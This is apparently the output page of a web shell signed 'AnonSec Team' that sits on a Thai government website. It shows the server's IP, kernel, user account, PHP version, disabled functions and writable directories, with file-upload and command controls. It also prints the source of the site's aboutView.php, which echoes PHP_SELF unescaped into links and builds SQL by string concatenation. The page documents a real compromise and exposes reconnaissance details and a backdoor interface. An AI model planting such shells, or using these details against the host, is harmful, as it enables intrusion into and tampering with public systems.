NG1NDEX
Server IP : 103.233.192.212  /  Your IP : 3.137.203.53
Web Server : Apache/2
System : Linux sv1.inde.co.th 3.10.0-1160.36.2.el7.x86_64 #1 SMP Wed Jul 21 11:57:15 UTC 2021 x86_64
User : sumpatuan ( 1058)
PHP Version : 5.5.38
Disable Function : symlink,shell_exec,exec,proc_close,proc_open,popen,system,dl,putenv,passthru,escapeshellarg,escapeshellcmd,pcntl_exec,proc_get_status,proc_nice,proc_terminate,pclose,ini_alter,virtual,openlog,ini_restore
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/sumpatuan/domains/sumpatuan.go.th/public_html/main/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/sumpatuan/domains/sumpatuan.go.th/public_html/main/aboutView.php
<?php  
require_once('db_main.php');
if( isset($_GET['view']) ){
    $view = $_GET['view'];
    switch($view){
        case 'aboutCulture' : $head='การเสริมสร้างวัฒนธรรมองค์กร'; $link='aboutCulture'; $type='การเสริมสร้างวัฒนธรรมองค์กร'; break;
        /// ตรวจสอบภายใน
        case 'aboutInaudit1' : $head='ตรวจสอบภายใน'; $link='aboutInaudit1'; $type='แผนการตรวจสอบภายใน'; break;
        case 'aboutInaudit2' : $head='ตรวจสอบภายใน'; $link='aboutInaudit2'; $type='รายงานการตรวจสอบภายใน'; break;
        case 'aboutInaudit3' : $head='ตรวจสอบภายใน'; $link='aboutInaudit3'; $type='งานควบคุมภายใน'; break;
        case 'aboutInaudit4' : $head='ตรวจสอบภายใน'; $link='aboutInaudit4'; $type='การบริหารความเสี่ยง'; break;
        /// การปฏิบัติงาน
        case 'aboutPerformance1' : $head='การปฏิบัติงาน'; $link='aboutPerformance1'; $type='คู่มือปฏิบัติงาน'; break;
        case 'aboutPerformance2' : $head='การปฏิบัติงาน'; $link='aboutPerformance2'; $type='มาตรฐานการปฏิบัติงาน'; break;
        case 'aboutPerformance3' : $head='การปฏิบัติงาน'; $link='aboutPerformance3'; $type='ขั้นตอนการปฏิบัติงาน'; break;
        /// การให้บริการ
        case 'aboutService1' : $head='การให้บริการ'; $link='aboutService1'; $type='คู่มือการให้บริการ'; break;
        case 'aboutService2' : $head='การให้บริการ'; $link='aboutService2'; $type='มาตรฐานการให้บริการ'; break;
        case 'aboutService3' : $head='การให้บริการ'; $link='aboutService3'; $type='สถิติการให้บริการ'; break;
        case 'aboutService4' : $head='การให้บริการ'; $link='aboutService4'; $type='ผลสำรวจความพึงพอใจในการให้บริการ'; break;

        case 'aboutManagehuman1' : $head='การบริหารทรัพยากรบุคคล'; $link='aboutManagehuman1'; $type='นโยบายการบริหารทรัพยากรบุคคล'; break;
        case 'aboutManagehuman2' : $head='การบริหารทรัพยากรบุคคล'; $link='aboutManagehuman2'; $type='การดำเนินการตามนโยบายการบริหารทรัพยากรบุคคล'; break;
        case 'aboutManagehuman3' : $head='การบริหารทรัพยากรบุคคล'; $link='aboutManagehuman3'; $type='หลักเกณฑ์การบริหารและพัฒนาทรัพยากรบุคคล'; break;
        case 'aboutManagehuman4' : $head='การบริหารทรัพยากรบุคคล'; $link='aboutManagehuman4'; $type='รายงานผลการบริหารและพัฒนาทรัพยากรบุคคลประจําปี'; break;
        case 'aboutManagehuman6' : $head='การบริหารทรัพยากรบุคคล'; $link='aboutManagehuman6'; $type='มาตรฐานการกำหนดตำแหน่ง'; break;
        case 'aboutManagehuman7' : $head='การบริหารทรัพยากรบุคคล'; $link='aboutManagehuman7'; $type='ประมวลจริยธรรมของเจ้าหน้าที่รัฐ'; break;
        case 'aboutManagehuman8' : $head='การบริหารทรัพยากรบุคคล'; $link='aboutManagehuman8'; $type='การขับเคลื่อนจริยธรรม'; break;
        case 'aboutManagehuman9' : $head='การบริหารทรัพยากรบุคคล'; $link='aboutManagehuman9'; $type='การประเมินจริยธรรมเจ้าหน้าที่ของรัฐ'; break;
        default:
            echo "<SCRIPT type='text/javascript'>
                    alert('เกิดข้อผิดพลาด ไม่พบหน้าข้อมูลที่ต้องการ');
                    window.location.replace('index');
                </SCRIPT>";
            exit;
        break;
    }
}else{
    echo "<SCRIPT type='text/javascript'>
        alert('เกิดข้อผิดพลาด ไม่พบหน้าข้อมูลที่ต้องการ');
        window.location.replace('index');
    </SCRIPT>";
    exit;
} 
?>
<!doctype html>
<html lang="en">
    <head>
        <?php  include_once ("head.html"); ?>

    </head>
    <body class="bg-all animated fadeIn faster ">

        <?php  include_once ("chatfacebook.php"); ?>

    <div class="container-fluid p-0 " > 
        <div class="container bg-main fix-page mb-0 pb-0" >
            <?php  include_once ("menu.php"); ?>
        </div>

        <!------ data ------>

        <div class="container bg-white fix-page mt-0" id="data">
            <div class="row">
                <div class="col bg-cl-0 fcl-cl-1 bg-txt-head text-center">
                    <?php echo $head; ?>
                </div>
                <div class="w-100"></div>
                <?php if( $view=='aboutInaudit1' or $view=='aboutInaudit2' or $view=='aboutInaudit3' or $view=='aboutInaudit4' ){ ?>
                    <div class="col bg-cl-5 text-center pt-2 pb-2 fs-16 fw-300">
                        <a href="aboutView?view=aboutInaudit1#data" class="link-danger me-4"><i class="fas fa-angle-right me-1 text-dark"></i>แผนการตรวจสอบภายใน</a> 
                        <a href="aboutView?view=aboutInaudit2#data" class="link-danger me-4"><i class="fas fa-angle-right me-1 text-dark"></i>รายงานการตรวจสอบภายใน</a> 
                        <a href="aboutView?view=aboutInaudit3#data" class="link-danger me-4"><i class="fas fa-angle-right me-1 text-dark"></i>งานควบคุมภายใน</a> 
                        <a href="aboutView?view=aboutInaudit4#data" class="link-danger"><i class="fas fa-angle-right me-1 text-dark"></i>การบริหารความเสี่ยง</a> 
                    </div>
                    <div class="w-100"></div>
                <?php } ?>
                <?php if( $view=='aboutPerformance1' or $view=='aboutPerformance2' or $view=='aboutPerformance3'  ){ ?>
                    <div class="col bg-cl-5 text-center pt-2 pb-2 fs-16 fw-300">
                        <a href="aboutView?view=aboutPerformance1#data" class="link-danger me-4"><i class="fas fa-angle-right me-1 text-dark"></i>คู่มือปฏิบัติงาน</a> 
                        <a href="aboutView?view=aboutPerformance2#data" class="link-danger me-4"><i class="fas fa-angle-right me-1 text-dark"></i>มาตรฐานการปฏิบัติงาน</a> 
                        <a href="aboutView?view=aboutPerformance3#data" class="link-danger"><i class="fas fa-angle-right me-1 text-dark"></i>ขั้นตอนการปฏิบัติงาน</a> 
                    </div>
                    <div class="w-100"></div>
                <?php } ?>
                <?php if( $view=='aboutService1' or $view=='aboutService2' or $view=='aboutService3' or $view=='aboutService4' ){ ?>
                    <div class="col bg-cl-5 text-center pt-2 pb-2 fs-16 fw-300">
                        <a href="aboutView?view=aboutService1#data" class="link-danger me-4"><i class="fas fa-angle-right me-1 text-dark"></i>คู่มือการให้บริการ</a> 
                        <a href="aboutView?view=aboutService2#data" class="link-danger me-4"><i class="fas fa-angle-right me-1 text-dark"></i>มาตรฐานการให้บริการ</a> 
                        <a href="aboutView?view=aboutService3#data" class="link-danger me-4"><i class="fas fa-angle-right me-1 text-dark"></i>สถิติการให้บริการ</a> 
                        <a href="aboutView?view=aboutService4#data" class="link-danger"><i class="fas fa-angle-right me-1 text-dark"></i>ผลสำรวจความพึงพอใจในการให้บริการ</a> 
                    </div>
                    <div class="w-100"></div>
                <?php } ?>
                <div class="col p-3 fw-500">
                    <div class="np_box_new mx-auto fs-26 border-bottom mb-3"><?php echo $type; ?></div>
                    <?php
                        $sql_data = "SELECT COUNT(*) FROM `data_about` WHERE `type_about`='$type' AND `stt_about`=0 ";
                        $qr_data = mysqli_query($con_db_main, $sql_data) or trigger_error("SQL", E_USER_ERROR);
                        $rs_data = mysqli_fetch_row($qr_data);
                        $numrows = $rs_data[0];
                        $rowsperpage = 10;
                        $totalpages = ceil($numrows / $rowsperpage);
                        if (isset($_GET['currentpage']) && is_numeric($_GET['currentpage'])) {
                            $currentpage = (int) $_GET['currentpage'];
                        } else {
                            $currentpage = 1;
                        }
                        if ($currentpage > $totalpages) {
                            $currentpage = $totalpages;
                        }
                        if ($currentpage < 1) {
                            $currentpage = 1;
                        }
                        $offset = ($currentpage - 1) * $rowsperpage;

                        $sql_data1 = " SELECT *, CONCAT( DAY(str_to_date(`lastupdate_about`,'%d/%m/%Y')) ,'/',  MONTH(str_to_date(`lastupdate_about`,'%d/%m/%Y')) ,'/', YEAR(str_to_date(`lastupdate_about`,'%d/%m/%Y'))+543 ) AS 'cv_lastupdate_about' FROM `data_about` WHERE `type_about`='$type' AND `stt_about`=0 ORDER BY str_to_date(`lastupdate_about`,'%d/%m/%Y') DESC , `id_about` DESC LIMIT $offset, $rowsperpage ";
                        $qr_data1 = mysqli_query($con_db_main,$sql_data1) or die( mysqli_error($con_db_main));
                        while($rs_data1 = mysqli_fetch_array($qr_data1)){
                    ?>
                        <div class="row bg-body-secondary m-3 border box_new mx-auto">
                            <div class="col-auto p-0">
                                <a href="aboutView-data?view=<?php echo $rs_data1['id_about']; ?>&type=<?php echo $type; ?>&link=<?php echo $link; ?>#data">
                                    <?php   
                                        $id_tbdata_filedoc = $rs_data1['id_about'];
                                        $sql_data2 = "SELECT `path_filedoc` FROM `data_filedoc` WHERE `tbdata_filedoc`='data_about' AND `id_tbdata_filedoc`='$id_tbdata_filedoc' AND ( `type_filedoc`='jpg' or `type_filedoc`='png' )  LIMIT 1 ";
                                        $qr_data2 = mysqli_query($con_db_main,$sql_data2) or die( mysqli_error($con_db_main));
                                        $rs_data2 = mysqli_fetch_array($qr_data2);

                                        if( isset($rs_data2['path_filedoc']) && $rs_data2['path_filedoc'] !='' ){
                                            echo '<img src="../'.$rs_data2['path_filedoc'].'" class="img_new">';
                                        }else{
                                            echo '<img src="img/cv-new.jpg" class="img_new">';
                                        }
                                    ?>
                                </a>
                            </div>
                            <div class="col p-4 pt-2 ps-4">
                                <div class="clearfix pb-2 mb-2">
                                    <div class="float-start">
                                        <span class="badge rounded-pill text-bg-light border border-0 fw-300"><i class="far fa-clock"></i> <?php echo $rs_data1['cv_lastupdate_about']; ?></span> 
                                        <span class="badge rounded-pill text-bg-light border border-0 fw-300"><?php echo $rs_data1['type_about']; ?></span>
                                    </div>
                                    <div class="float-end m-auto">
                                        <a href="aboutView-data?view=<?php echo $rs_data1['id_about']; ?>&type=<?php echo $type; ?>&link=<?php echo $link; ?>#data" class="link-success fs-14">อ่านเพิ่มเติม <i class="fas fa-angle-double-right"></i></a>
                                    </div>
                                </div>
                                
                                <a class="link-dark" href="aboutView-data?view=<?php echo $rs_data1['id_about']; ?>&type=<?php echo $type; ?>&link=<?php echo $link; ?>#data" ><h5 class="cut-text-line3"><?php echo $rs_data1['name_about']; ?></h5></a>
                            </div>
                        </div>
                    <?php } ?>
                    <?php
                            if($numrows == 0){ 
                                echo '<div class="w-100 text-center mt-5 mb-5 text-secondary opacity-25 fs-20 fw-500" ><i class="fas fa-eye-slash fs-70"></i><br>ไม่พบข้อมูล<br>'.$type.'</div>';
                            }
                    ?>
                    <!------------- NUMBER PAGE ------------->
                    <div class="mt-3 pt-2 fs-12 np_box_new clearfix fw-300 mx-auto">
                        <div class="float-start lh-sm">
                            แสดงข้อมูลตั้งแต่ 1 ถึง 10 <br>จากข้อมูลทั้งหมด <?php echo $numrows; ?> ข้อมูล
                        </div>
                        <div class="float-end">
                            <div aria-label="Page navigation">
                                <ul class="pagination pagination-sm justify-content-end">
                                    <?php

                                    $range = 5;
                                    if ($currentpage > 1) {
                                        echo " <li class='page-item'>
                                                <a class='page-link focus-ring focus-ring-secondary text-black-50' href='{$_SERVER['PHP_SELF']}?currentpage=1&view=$view' aria-label='Previous'>
                                                    <i class='fas fa-angle-double-left'></i>
                                                </a>
                                                </li>";
                                        $prevpage = $currentpage - 1;
                                        echo "<li class='page-item'>
                                                <a class='page-link focus-ring focus-ring-secondary text-black-50' href='{$_SERVER['PHP_SELF']}?currentpage=$prevpage&view=$view' aria-label='Previous'>
                                                <i class='fas fa-angle-left'></i>
                                                </a>
                                            </li>";
                                    } 

                                    for ($x = ($currentpage - $range); $x < (($currentpage + $range) + 1); $x++) {
                                        if (($x > 0) && ($x <= $totalpages)) {
                                            if ($x == $currentpage) {

                                            echo "<li class='page-item active' aria-current='page'>
                                                        <a class='page-link focus-ring focus-ring-secondary text-bg-secondary' href='#'>$x <span class='sr-only'>(current)</span></a>
                                                    </li> ";

                                            } else {
                                            echo " <li class='page-item'><a class='page-link focus-ring focus-ring-secondary text-black-50' href='{$_SERVER['PHP_SELF']}?currentpage=$x&view=$view'>$x</a></li>";
                                            }
                                        }
                                    }

                                    if ($currentpage != $totalpages) {
                                        $nextpage = $currentpage + 1;
                                        echo "<li class='page-item'>
                                                <a class='page-link focus-ring focus-ring-secondary text-black-50' href='{$_SERVER['PHP_SELF']}?currentpage=$nextpage&view=$view' aria-label='Next'>
                                                <i class='fas fa-angle-right'></i>
                                                </a>
                                            </li>";
                                        echo "<li class='page-item'>
                                                <a class='page-link focus-ring focus-ring-secondary text-black-50' href='{$_SERVER['PHP_SELF']}?currentpage=$totalpages&view=$view' aria-label='Next'>
                                                <i class='fas fa-angle-double-right'></i>
                                                </a>
                                            </li>";
                                    } 
                                    ?>

                                    </ul>
                            </div>       
                        </div>
                    </div>
                    <!---------------------------------------> 

                </div>
                <div class="w-100"></div>
                <div class="col bg-cl-2 text-center fcl-cl-1 fs-1" style="height:10px;"></div>
            </div>
        </div>

        <!------------------>

        <?php  include_once ("footer.php"); ?>
    </div>
    <?php  include_once ("cookie.php"); ?>

    </body>

</html>

Anon7 - 2022
AnonSec Team